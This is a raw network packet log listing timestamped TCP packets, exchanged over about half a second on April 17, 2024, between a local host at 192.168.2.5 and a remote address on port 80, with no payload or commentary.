Apr 17, 2024 09:17:10.149878979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149914026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.149919033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.149959087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296411991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296461105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296479940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296498060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296516895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296535015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296552896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296571970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296593904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296607018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296613932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296634912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296652079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296669006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296685934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296703100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296721935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296739101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296747923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296757936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296776056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296792984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296811104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296818972 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296828032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296844959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296848059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296866894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296878099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296885014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296901941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296902895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296927929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296941996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296956062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296974897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.296981096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.296993971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297008991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297013998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297032118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297038078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297049046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297068119 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297080040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297086954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297100067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297102928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297116995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297122002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297135115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297141075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297152996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297162056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297169924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297173977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297188044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297194004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297205925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297209024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297221899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297223091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297240019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297243118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297259092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297261953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297276974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297280073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297295094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297298908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297312975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297317028 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297328949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297331095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297348022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297352076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297365904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297370911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297384024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297384024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297401905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297405958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297420025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297426939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297437906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297441959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297456026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297456026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297473907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297477007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297491074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297494888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297509909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297513962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297528028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297533989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297548056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297553062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297565937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297571898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297585011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297585011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297602892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297605991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297621012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297629118 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297640085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297647953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297657013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297661066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297677040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297681093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297694921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297698975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297713995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297722101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297732115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297734976 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297750950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297758102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297770023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297770023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297786951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297787905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297804117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297806025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297823906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297825098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297842026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297847986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297858000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297859907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297878027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297879934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297897100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297899961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297915936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297919035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297935963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297939062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297952890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297957897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297971010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.297971010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297987938 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.297988892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298007965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298012018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298026085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298027039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298044920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298047066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298062086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298063040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298082113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298082113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298099041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298099995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298120022 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298131943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298151016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298152924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298170090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298173904 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298188925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298190117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298212051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298218966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298233986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.298235893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298249006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.298278093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.354754925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354783058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354800940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354819059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354837894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354855061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354872942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354891062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354907990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354962111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354979992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.354998112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355024099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355024099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355024099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355024099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355024099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355024099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355026960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355024099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355024099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355045080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355046034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355063915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355093956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355112076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355129004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355145931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355164051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355181932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355199099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355216980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355230093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355235100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355230093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355231047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355231047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355231047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355231047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355231047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355231047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355253935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355273008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355308056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355308056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355308056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355308056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355308056 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355330944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355341911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355362892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355381012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355395079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355398893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355417967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355424881 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355424881 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355437994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355443954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355456114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355463982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355475903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355495930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355514050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355525017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355525017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355525017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355531931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355550051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355565071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355565071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355565071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355598927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355608940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355626106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355643988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355660915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355665922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355665922 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355678082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355685949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355698109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355706930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355715990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355724096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355732918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355736971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355752945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355758905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355771065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355773926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355788946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355796099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355808020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355813980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355825901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355825901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355844021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355860949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355863094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355863094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355878115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355879068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355899096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355916977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355916977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355916977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355932951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355935097 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355952024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355957985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355969906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.355979919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355988026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.355990887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.356009007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.356014013 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.356026888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.356034040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.356044054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.356044054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.356062889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.356066942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.356082916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.356142998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503297091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503469944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503482103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503513098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503529072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503555059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503591061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503634930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503674984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503760099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503822088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503822088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503859997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503880978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503897905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503922939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503937006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503954887 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.503976107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.503997087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504040956 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504097939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504184961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504228115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504271984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504283905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504317999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504323006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504381895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504419088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504456997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504470110 CEST	49704	80	192.168.2.5	185.172.128.23
